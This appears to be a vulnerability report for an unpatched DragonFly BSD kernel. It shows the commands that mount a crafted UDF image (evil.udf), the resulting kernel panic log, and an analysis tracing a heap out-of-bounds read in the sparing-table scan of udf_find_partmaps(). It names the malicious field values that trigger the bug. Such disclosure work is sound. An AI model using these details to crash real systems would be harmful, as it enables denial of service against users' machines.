=== UNPATCHED kernel #0 — PoC: evil.udf (st_size=32768, rt_l=65535) ===
kern.version: DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026

Command:
  vnconfig -c vn0 /root/evil.udf
  mount -t udf -o rdonly /dev/vn0 /mnt/udf

Result: MOUNT HANGS (guest enters DDB panic — ssh dies, serial shows panic)

From dfbsd-qemu/boot.log (serial console):
  vn0: MBR magic not found; assume a COMPATIBILITY_SLICE (s0)
  Couldn't find the fsd
  vn0: MBR magic not found; assume a COMPATIBILITY_SLICE (s0)

  Fatal trap 12: page fault while in kernel mode
  cpuid = 4; lapic id = 4
  fault virtual address     = 0xfffff80118632000
  fault code                 = supervisor read data, page not present
  instruction pointer        = 0x8:0xffffffff82601079
  stack pointer              = 0x10:0xfffff80118629340
  frame pointer              = 0x10:0xfffff801186296b0
  code segment               = base 0x0, limit 0xfffff, type 0x1b
                              = DPL 0, pres 1, long 1, def32 0, gran 1
  processor eflags           = interrupt enabled, resume, IOPL = 0
  current process            = 952 (mount)
  kernel: type 12 trap, code=0

  CPU4 stopping CPUs: 0x0000002f
   stopped
  Stopped at      udf_mount.part.2+0x8c9: cmpl    $-0x11,0x38(%rsi,%rdx,8)
  db>

ANALYSIS:
  udf_mount.part.2 = udf_find_partmaps() inlined into udf_mount() by GCC
  +0x8c9 = the sparing-table entry scan loop at udf_vfsops.c:692
  cmpl $-0x11,0x38(%rsi,%rdx,8) = entries[i].org >= 0xfffffff0
    0x38 = 56 = offsetof(udf_sparing_table, entries)
    %rsi = udfmp->s_table (kmalloc'd buffer)
    %rdx = i (loop counter, unbounded by st_size)
    $-0x11 = 0xFFFFFFEF = (0xfffffff0 - 1), i.e. "x >= 0xfffffff0" compiled as "x > 0xFFFFFFEF"
  fault VA 0xfffff80118632000 = address past the 32KB kmem allocation (page not present)

CONFIRMED: heap OOB read in udf_find_partmaps() sparing-table scan loop.
rt_l=65535 drives entries[] access 491KB past the st_size=32768-byte allocation.